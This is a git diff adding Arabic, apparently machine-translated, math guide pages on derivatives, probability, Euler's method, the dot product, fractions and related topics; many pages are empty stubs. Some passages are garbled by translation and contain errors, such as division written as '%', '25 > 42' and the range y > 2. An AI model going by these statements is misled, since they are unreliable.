+المنحدر من pt. ج إلى نقطة. D هو:
+
+![صورة](https://github.com/MarkMikow/MyFiles/blob/master/img4.png?raw=true)
+
+التعبير ![صورة](https://github.com/MarkMikow/MyFiles/blob/master/img5.png?raw=true) يسمى حاصل الفرق ، ويمكنك استخدامه للعثور على معدل معدل التغيير من أي نقطة على الرسم البياني إلى أي نقطة أخرى على مسافة أفقية من وحدات h بعيدا.
+
+لتحويل متوسط ​​معدل التغيير (الميل) إلى معدل فوري للتغير (المشتق ، الموضح في f (x)) ، فإنك تأخذ الحد الأقصى لحاصل الفرق:
+
+![صورة](https://github.com/MarkMikow/MyFiles/blob/master/img6.png?raw=true)
+
+هذا هو التعريف الرسمي للأداة المشتقة ويعني أنك تأخذ المسافة h وتقلصها إلى كمية صغيرة لا متناهية الصغر. لا يزال لديك منحدر ، ولكن نقاطه النهائية قريبة من بعضها البعض. قريبة جدا ، في الواقع ، أنها تظهر كنقطة واحدة ، أو لحظة واحدة ، في الوقت المناسب.
+
+نظرًا لأن مماس خط إلى نقطة على الرسم البياني يتقاطع مع الرسم البياني عند نقطة واحدة فقط ، يتم تعريف المشتق أيضًا بأنه ميل الخط المماس إلى أي نقطة على الرسم البياني. في مثال الرسم البياني أعلاه ، تكون مشتقة كل نقطة هي السرعة الآنية التي تسافر إليها.
+
+للمشتقات مجموعة واسعة من التطبيقات وتستخدم في الفيزياء والهندسة والاقتصاد والتخصصات الأخرى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/deriving-integration-by-parts-formula/index.md b/client/src/guide/arabic/mathematics/deriving-integration-by-parts-formula/index.md
new file mode 100644
index 0000000000..652df61b69
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/deriving-integration-by-parts-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Deriving Integration by Parts Formula
+localeTitle: اشتقاق التكامل عن طريق صيغة الأجزاء
+---
+## اشتقاق التكامل عن طريق صيغة الأجزاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/deriving-integration-by-parts-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/descartes-rule-of-signs/index.md b/client/src/guide/arabic/mathematics/descartes-rule-of-signs/index.md
new file mode 100644
index 0000000000..76ec228a80
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/descartes-rule-of-signs/index.md
@@ -0,0 +1,11 @@
+---
+title: Descartes Rule of Signs
+localeTitle: ديكارت قاعدة الاشارات
+---
+## ديكارت قاعدة الاشارات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/descartes-rule-of-signs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md b/client/src/guide/arabic/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md
new file mode 100644
index 0000000000..376d4a111f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinant of a 3 by 3 Matrix Standard Method
+localeTitle: محددات الطريقة القياسية 3 في 3 Matrix Standard
+---
+## محددات الطريقة القياسية 3 في 3 Matrix Standard
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/determinant-of-a-matrix/index.md b/client/src/guide/arabic/mathematics/determinant-of-a-matrix/index.md
new file mode 100644
index 0000000000..989b7d5688
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/determinant-of-a-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinant of a Matrix
+localeTitle: محدد من مصفوفة
+---
+## محدد من مصفوفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/determinant-of-a-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/die-rolling-probability/index.md b/client/src/guide/arabic/mathematics/die-rolling-probability/index.md
new file mode 100644
index 0000000000..443966b120
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/die-rolling-probability/index.md
@@ -0,0 +1,19 @@
+---
+title: Die Rolling Probability
+localeTitle: يموت المتداول الاحتمال
+---
+## يموت المتداول الاحتمال
+
+سننظر في البداية في قالب واحد ، نعرف أنه عادل. إن الموت العادل هو عندما تتدفق كل الأطراف الستة على قدم المساواة.
+
+نظرًا لوجود **6** جوانب ، فهذا يعني أن هناك فرصة واحدة من كل **6 ظهور** لأي جانب معين يظهر وجهه. غالبا ما يتم كتابة هذا الاحتمال على شكل كسر ، وبالتالي 1/6. باستخدام P (جانب) للإشارة إلى الاحتمال (P) لجانب معين يظهر الوجه ، يمكننا بالتالي أن نقول:
+
+P (1) = P (2) = P (3) = P (4) = P (5) = P (6) = 1/6.
+
+افترض أننا نأخذ الآن 2 النرد العادل. نظرًا لأن كل جانب من الجوانب الستة للموت 1 يمكن أن يظهر الوجه مع كل من الجوانب الستة للموت 2 هناك 6 × 6 = 36 احتمالات مختلفة ، وبالتالي فإن فرصة حدوث أي تركيبة هي 1/36.
+
+إذا لم يهم في أي ترتيب ننظر إلى النرد بمجرد أن نطرحه ، علينا أن ننظر بعناية أكبر في الاحتمالات. على سبيل المثال ، يمكن أن تظهر 3 و 5 في 3 على الموت 1 و 5 على الموت 2 **أو** 5 على الموت 1 و 3 على الموت 2 (توليفات 2) حتى نستطيع أن نقول أن P (3،5 أو 5،3) = 1/36 + 1/36 = 1/18.
+
+إذا كان إجمالي المبلغ الظاهر هو كل ما يهم ، علينا أن ننظر إلى جميع مجموعات الوجوه التي تشكل المبلغ الذي نهتم به. على سبيل المثال ، لنفترض أننا نريد معرفة احتمالية الحصول على إجمالي مبلغ 7. ​​نحن نعرف أن 7 = 1 + 6 **أو** 6 + 1 **أو** 2 + 5 **أو** 5 + 2 **أو** 3 + 4 **أو** 4 + 3 (6 مجموعات) بحيث P (مجموع = 7) هو 1/36 + 1/36 + 1 / 36 + 1/36 + 1/36 + 1/36 = 6 \* 1/36 = 6/36 أو 1/6.
+
+تمرين: ما هو احتمال الحصول على إجمالي مبلغ 5 عند تدوير نرد عادل؟ ماذا عن مبلغ 2؟
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/differential-equations/eulers-method/index.md b/client/src/guide/arabic/mathematics/differential-equations/eulers-method/index.md
new file mode 100644
index 0000000000..e567084682
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/differential-equations/eulers-method/index.md
@@ -0,0 +1,71 @@
+---
+title: Euler's Method
+localeTitle: طريقة أويلر
+---
+# طريقة أويلر
+
+طريقة أويلر هي إجراء رقمي من الدرجة الأولى لحل المعادلات التفاضلية العادية (ODE) بقيمة أولية معينة.
+
+## مشكلة القيمة الأولية العامة
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn006.png)
+
+## منهجية
+
+تستخدم طريقة أويلر الصيغة البسيطة ،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn3.png)
+
+لإنشاء الظل عند النقطة `x` والحصول على قيمة `y(x+h)` ، التي يكون ميلها ،
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn008.png)
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/Euler.png)
+
+في طريقة أويلر ، يمكنك تقريب منحنى الحل بواسطة المماس في كل فترة زمنية (أي ، بسلسلة من مقاطع الخطوط القصيرة) ، عند خطوات `h` .
+
+_بشكل عام_ ، إذا كنت تستخدم حجم خطوة صغير ، فإن دقة التقريب تزيد.
+
+## الصيغة العامة
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn7.png)
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn_new_2.png)
+
+## القيمة الوظيفية عند أي نقطة `b` ، مقدمة من `y(b)`
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn6.png)
+
+أين،
+
+*   **ن** = عدد الخطوات
+*   **h** = عرض الفاصل (حجم كل خطوة)
+
+### شبة الكود
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn_new_1.png)
+
+## مثال
+
+تجد `y(1)` ، نظرا
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn007.png)
+
+الحل من الناحية التحليلية ، الحل هو _**y = e x**_ و `y(1)` = `2.71828` . (ملاحظة: هذا الحل التحليلي لمجرد مقارنة الدقة.)
+
+باستخدام طريقة أويلر ، مع مراعاة `h` = `0.2` ، `0.1` ، `0.01` ، يمكنك رؤية النتائج في الرسم البياني أدناه.
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/comparison.png)
+
+عند `h` = `0.2` ، `y(1)` = `2.48832` (الخطأ = 8.46٪)
+
+عند `h` = `0.1` ، `y(1)` = `2.59374` (الخطأ = 4.58٪)
+
+عند `h` = `0.01` ، `y(1)` = `2.70481` (الخطأ = 0.50٪)
+
+يمكنك أن تلاحظ ، كيف تتحسن الدقة عندما تكون الخطوات صغيرة.
+
+## معلومات اكثر:
+
+1.  [طرق عددية لحل المعادلات التفاضلية](http://calculuslab.deltacollege.edu/ODE/7-C-1/7-C-1-h-c.html)
+2.  [طريقة أويلر](https://en.wikipedia.org/wiki/Euler_method)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/differential-equations/index.md b/client/src/guide/arabic/mathematics/differential-equations/index.md
new file mode 100644
index 0000000000..eac24f6b2e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/differential-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Differential Equations
+localeTitle: المعادلات التفاضلية
+---
+## المعادلات التفاضلية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/differential-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/direct-comparison-test-series/index.md b/client/src/guide/arabic/mathematics/direct-comparison-test-series/index.md
new file mode 100644
index 0000000000..ec93a473f4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/direct-comparison-test-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Direct Comparison Test Series
+localeTitle: سلسلة اختبار المقارنة المباشرة
+---
+## سلسلة اختبار المقارنة المباشرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/direct-comparison-test-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/directly-proportional-and-inversely-proportional/index.md b/client/src/guide/arabic/mathematics/directly-proportional-and-inversely-proportional/index.md
new file mode 100644
index 0000000000..444aab4582
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/directly-proportional-and-inversely-proportional/index.md
@@ -0,0 +1,11 @@
+---
+title: Directly Proportional and Inversely Proportional
+localeTitle: التناسبية بشكل مباشر وبنسبة عكسية
+---
+## التناسبية بشكل مباشر وبنسبة عكسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/directly-proportional-and-inversely-proportional/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/discrete-and-continuous-data/index.md b/client/src/guide/arabic/mathematics/discrete-and-continuous-data/index.md
new file mode 100644
index 0000000000..4c539a1297
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/discrete-and-continuous-data/index.md
@@ -0,0 +1,11 @@
+---
+title: Discrete and Continuous Data
+localeTitle: بيانات منفصلة ومستمرة
+---
+## بيانات منفصلة ومستمرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/discrete-and-continuous-data/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/distributive-property-explained/index.md b/client/src/guide/arabic/mathematics/distributive-property-explained/index.md
new file mode 100644
index 0000000000..ce67103773
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/distributive-property-explained/index.md
@@ -0,0 +1,11 @@
+---
+title: Distributive Property Explained
+localeTitle: شرح خاصية التوزيع
+---
+## شرح خاصية التوزيع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/distributive-property-explained/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/dividing-fractions-by-whole-numbers/index.md b/client/src/guide/arabic/mathematics/dividing-fractions-by-whole-numbers/index.md
new file mode 100644
index 0000000000..1e4f0e9d7c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/dividing-fractions-by-whole-numbers/index.md
@@ -0,0 +1,20 @@
+---
+title: Dividing Fractions by Whole Numbers
+localeTitle: تقسيم الكسور بالأرقام الكاملة
+---
+## تقسيم الكسور بالأرقام الكاملة
+
+فيما يلي الخطوات لتقسيم كسر بواسطة رقم صحيح
+
+1.  اضرب المقام عن طريق الكسر بكامله.
+2.  إذا كان ذلك ممكنًا ، قم بتبسيط الكسر الناتج
+
+#### مثال 1
+
+ 4 ⁄ 5 ÷ 3 = 4 ⁄ (3 \* 5) = 4 ⁄ 15 
+
+#### مثال 2
+
+ 6 ⁄ 7 ÷ 2 = 6 ⁄ (2 \* 7) = 6 ⁄ 14 = 3 ⁄ 7 (المبسطة) 
+
+يرجى ملاحظة أن العدد الصحيح يمكن اعتباره جزءًا من خلال النظر إلى قاسمه كـ 1 ، ثم يصبح مشابهًا لتقسيم الكسور
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/dividing-fractions/index.md b/client/src/guide/arabic/mathematics/dividing-fractions/index.md
new file mode 100644
index 0000000000..2364f90f22
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/dividing-fractions/index.md
@@ -0,0 +1,34 @@
+---
+title: Dividing Fractions
+localeTitle: تقسيم الكسور
+---
+## تقسيم الكسور
+
+هذا هو مماثل لضرب الكسور اثنين ، مع خطوة إضافية
+
+النظر في التعبير A ÷ B، ويطلق هنا وهناك _أرباح_ ويسمى B _المقسوم عليه._
+
+فيما يلي خطوات تقسيم الكسور ،
+
+1.  تأخذ المعاملة بالمثل من جزء المقسوم عليه (B).
+2.  مضاعفة جزء dividend (A) مع المعاملة بالمثل من الكسر المقسوم عليه
+3.  بسّط الكسر الناتج ، إن أمكن
+
+#### أمثلة
+
+##### مثال 1
+
+ 2 ⁄ 3 ÷ 6 ⁄ 7 
+
+1.  خذ معك المعاملة بالمثل القاسم. لأخذ معاملة متبادلة من كسر ، تبادل البسط ومقام هذا الكسر. معكوس 6/7 هو 7/6
+    
+2.  اضرب المقتطف بالمقلوب من القاسم
+    
+
+ 2 ⁄ 3 ÷ 6 ⁄ 7 = 2 ⁄ 3 × 7 ⁄ 6 = 7 ⁄ 9 
+
+##### مثال 2
+
+ 4 ⁄ 6 ÷ 2 = 4 ⁄ 6 × 1 ⁄ 2 = 4 ⁄ 12 = 1 ⁄ 3 (Simplified) 
+
+يرجى ملاحظة أن العدد الصحيح يمكن اعتباره جزءًا من خلال اعتبار قاسمه هو 1. أيضا ، يمكنك فقط القسمة على كسور غير صفرية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/dividing-polynomials-synthetic-division/index.md b/client/src/guide/arabic/mathematics/dividing-polynomials-synthetic-division/index.md
new file mode 100644
index 0000000000..4a34813f2d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/dividing-polynomials-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Dividing Polynomials Synthetic Division
+localeTitle: تقسيم تقسيم متعدد الحدود الاصطناعية
+---
+## تقسيم تقسيم متعدد الحدود الاصطناعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/dividing-polynomials-synthetic-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/division/index.md b/client/src/guide/arabic/mathematics/division/index.md
new file mode 100644
index 0000000000..6def48a650
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/division/index.md
@@ -0,0 +1,13 @@
+---
+title: Division
+localeTitle: قطاع
+---
+## قطاع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يتم تمثيل القسم بالرمز "٪". لتحديد رقم واحد بواسطة antother هو معرفة عدد المرات التي يذهب فيها الثاني إلى الأول. لذلك 7/2 = 3.5 لأن 2 يذهب إلى 7 3 و 1 نصف مرة.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/domain-and-range-of-quadratic-functions/index.md b/client/src/guide/arabic/mathematics/domain-and-range-of-quadratic-functions/index.md
new file mode 100644
index 0000000000..a713dc5d09
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/domain-and-range-of-quadratic-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Range of Quadratic Functions
+localeTitle: المجال ومدى الوظائف التربيعية
+---
+## المجال ومدى الوظائف التربيعية
+
+يحدد المجال والنطاق القيم المحتملة للمتغيرات داخل أي وظيفة معينة.
+
+في حالة الدوال التربيعية ، يكون المجال دائمًا x = +/- infinity (يمكن أن يساوي x أي رقم). من ناحية أخرى ، يتم تحديد النطاق بواسطة قمة القطع المكافئ. على سبيل المثال ، يكون نطاق المعادلة y = x ^ 2 + 2 هو y> 2 لأن y لا يمكن أن يساوي أي رقم أقل من قمة الرأس.
+
+### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/domain-and-range-of-rational-functions/index.md b/client/src/guide/arabic/mathematics/domain-and-range-of-rational-functions/index.md
new file mode 100644
index 0000000000..c5981f2656
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/domain-and-range-of-rational-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Range of Rational Functions
+localeTitle: المجال ومجموعة من الوظائف العقلانية
+---
+## المجال ومجموعة من الوظائف العقلانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/domain-and-range-of-rational-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/dot-product/index.md b/client/src/guide/arabic/mathematics/dot-product/index.md
new file mode 100644
index 0000000000..0849fc0c46
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/dot-product/index.md
@@ -0,0 +1,57 @@
+---
+title: Dot Product
+localeTitle: المنتج نقطة
+---
+## المنتج نقطة
+
+منتج نقطة هو طريقة بضرب متجهين معاً للحصول على رقم واحد. منتجات دوت شائعة في الفيزياء والجبر الخطي.
+
+يمكنك كتابة منتج نقطة من متجهين **a** و **b** مثل **a** · **b** .
+
+يجب أن يكون المتشعبان من نفس الطول ليكون لهما منتج نقطي.
+
+للعثور على منتج النقطة ، اضرب العنصر `nth` في المتجه الأول بواسطة عنصر `nth` في المتجه الثاني. افعل هذا لجميع العناصر. ثم ، ابحث عن مجموع كل هذه المنتجات. هذا المجموع هو منتج نقطة!
+
+### خصائص منتجات Dot
+
+يمكن أيضًا التعبير عن المنتج النقطي لنقطتين على أنه `a · b = ||a|| * ||b|| * cos(theta)` . في هذه الصيغة ، `||a||` هو مقدار المتجه **a** ، و `theta` هي الزاوية بين الموجهين.
+
+سيكون لدى المتعامدين المتعامدين (المتعامدين مع المتعامدين) دائمًا منتج نقطة 0.
+
+### مثال على العمل
+
+على سبيل المثال ، لنفترض أن لديك المتجهات **a** و **b** . دع `a = (1 2 3 4)` و `b = (-1 0 1 2)` .
+
+سيكون منتج النقطة `(1)(-1) + (2)(0) + (3)(1) + (4)(2) = -1 + 0 + 3 + 8 = 12` . حتى في هذه الحالة، لن أقول لكم **أن** · **ب** = 12.
+
+### مثال الكود
+
+وهنا مثال على وظيفة في جافا سكريبت. تقوم بإرجاع المنتج نقطة اثنين من الوسيطات متجه:
+
+ `/** 
+ * @param {array} a - A vector/array of numbers 
+ * @param {array} b - A vector/array of numbers with the same length as a 
+ * @returns {number} - The dot product of a and b 
+ */ 
+ function dotProduct(a, b) { 
+  // Check if the lengths are the same - if not, there can't be a dot product 
+  if (a.length !== b.length) { 
+    throw "vector lengths must be equal"; 
+  } 
+ 
+  // Create a variable to store the sum as we calculate it 
+  let product = 0; 
+ 
+  // Loop through the vectors, calculate products, and add them to the total 
+  for (let i = 0; i < a.length; i++) { 
+    // You may want to ensure that a[i] and b[i] are both finite numbers 
+    product += a[i] * b[i]; 
+  } 
+ 
+  return product; 
+ } 
+` 
+
+### معلومات اكثر:
+
+[ثلاثة أبعاد](../vectors/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/double-angle-formulas/index.md b/client/src/guide/arabic/mathematics/double-angle-formulas/index.md
new file mode 100644
index 0000000000..ad4e5f085f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/double-angle-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Double Angle Formulas
+localeTitle: زاوية مزدوجة الصيغ
+---
+## زاوية مزدوجة الصيغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/double-angle-formulas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/e-constant/index.md b/client/src/guide/arabic/mathematics/e-constant/index.md
new file mode 100644
index 0000000000..a44f98942f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/e-constant/index.md
@@ -0,0 +1,15 @@
+---
+title: E Constant
+localeTitle: ه ثابت
+---
+## ه ثابت
+
+الثابت E ، الذي يحمل اسم Leonhard Euler ، يساوي القيمة: 2.718281828 ه هو أساس اللوغاريتمات الطبيعية ، وهذا النوع من الرياضيات قابل للتطبيق في العديد من مجالات الرياضيات والفيزياء ، وأي لوغاريتم طبيعي ، إذا كنت ستواجه ، يتم حله على نحو مماثل لأي لوغاريتم آخر.
+
+ولكن لماذا يهم "e"؟ E هو ثابت يمكننا استخدامه لمراقبة سلوك الدوال الأسية. يشبه E ^ x العديد من المنحنيات الأسيّة الأخرى. علاوة على ذلك ، فإن معكوس e ^ x هو ln (x) ، الدالة اللوغاريتمية الأساسية. ذات أهمية خاصة ، ln (e) = 1.
+
+http://www.mathsisfun.com/numbers/e-eulers-number.html
+
+#### معلومات اكثر:
+
+يمكن العثور على مزيد من المعلومات حول الوظائف e و الأسية و اللوغاريتمية [هنا](https://www.khanacademy.org/tag/natural-logarithm-and-e)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/e-eulers-number/index.md b/client/src/guide/arabic/mathematics/e-eulers-number/index.md
new file mode 100644
index 0000000000..f8801e42d0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/e-eulers-number/index.md
@@ -0,0 +1,13 @@
+---
+title: E Eulers Number
+localeTitle: E عدد Eulers
+---
+## E عدد Eulers
+
+رقم أويلر ، 2.71828 ، هو ثابت رياضي غير منطقي مشهور يستخدم كقاعدة لوغاريتم طبيعي. تم تسميته على اسم عالم الرياضيات السويسري ليونارد أويلر ، ويمكن تمييزه بالرمز التالي ، ℇ. يحتوي هذا العدد على العديد من الاستخدامات والأدوار الهامة في الرياضيات ويتم تطبيقه في حساب الفائدة المركبة ، على سبيل المثال. يمكنك استخدام رقم أويلر في حساب التفاضل والتكامل لكي تكون قادراً على أداء حساب التفاضل والتكامل مع الدوال الأسية واللوغاريتمات.
+
+![Leonhard_Euler Image](https://github.com/TomerPacific/fccGuideImages/blob/master/Leonhard_Euler.jpg?raw=true)
+
+\#### معلومات اكثر:
+
+لقراءة المزيد عن رقم أويلر ، يمكنك الذهاب هنا: https://en.wikipedia.org/wiki/E _(_ ثابت _رياضياتي_
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/eigenvalue/index.md b/client/src/guide/arabic/mathematics/eigenvalue/index.md
new file mode 100644
index 0000000000..5cfc14543a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/eigenvalue/index.md
@@ -0,0 +1,11 @@
+---
+title: Eigenvalue
+localeTitle: القيمة الذاتية
+---
+## القيمة الذاتية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/eigenvalue/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/end-behavior-of-a-function/index.md b/client/src/guide/arabic/mathematics/end-behavior-of-a-function/index.md
new file mode 100644
index 0000000000..92c8c7b869
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/end-behavior-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: End Behavior of a Function
+localeTitle: سلوك نهاية وظيفة
+---
+## سلوك نهاية وظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/end-behavior-of-a-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/equal-less-and-greater-than-symbols/index.md b/client/src/guide/arabic/mathematics/equal-less-and-greater-than-symbols/index.md
new file mode 100644
index 0000000000..e416752add
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/equal-less-and-greater-than-symbols/index.md
@@ -0,0 +1,27 @@
+---
+title: Equal Less and Greater Than Symbols
+localeTitle: يساوي أقل وأعظم من الرموز
+---
+## يساوي أقل وأعظم من الرموز
+
+تناقش هذه المقالة الرموز التالية: `=` ، `<` و `>` .
+
+يتم استخدام علامة المساواة `=` لإظهار المساواة. أيا كان على الجانب الأيسر من علامة المساواة ، يمكن أن يتبادل مع ما هو على الجانب الأيمن. عند تحويل البيانات الرياضية في كلمات نقرأ `=` بأنه "يساوي" ولكن يمكن أيضا أن تقرأ على أنها "غير".
+
+فمثلا:
+
+يجب قراءة 2x = 35y كما يلي:
+
+اثنان X يساوي خمسة وثلاثين Y أو اثنين X هو خمسة وثلاثون Y.
+
+يتم استخدام العلامة الأقل من `<` وأكبر من علامة `>` لإظهار عدم المساواة. عند محاولة تذكر أي إشارة هي التي من المفيد أن نتذكر أن أقل من علامة `<` يبدو وكأنه نوع من رأس المال L الذي يتم تدويره قليلا.
+
+بمجرد أن تعرف أي إشارة هي الشيء الذي يجب تذكره هو قراءة عدم المساواة كما تقرأ جملة باللغة الإنجليزية ، أي من اليسار إلى اليمين.
+
+فمثلا:
+
+ينبغي قراءة 25> 42 على النحو التالي:
+
+خمسة وعشرون أقل من اثنين وأربعين.
+
+إحدى الخدع الأنيقة الأخرى التي قد تساعدك هي أن تفكر في علامات عدم المساواة كسهم يشير إلى القيمة الأصغر. لذلك في المثال أعلاه 25 <42 السهم يشير إلى 25.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/equation-of-a-line/index.md b/client/src/guide/arabic/mathematics/equation-of-a-line/index.md
new file mode 100644
index 0000000000..9afd8a62a1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/equation-of-a-line/index.md
@@ -0,0 +1,23 @@
+---
+title: Equation of a Line
+localeTitle: معادلة الخط
+---
+## معادلة الخط
+
+### من أجل منحدر معطى وتقاطع y (نموذج قياسي):
+
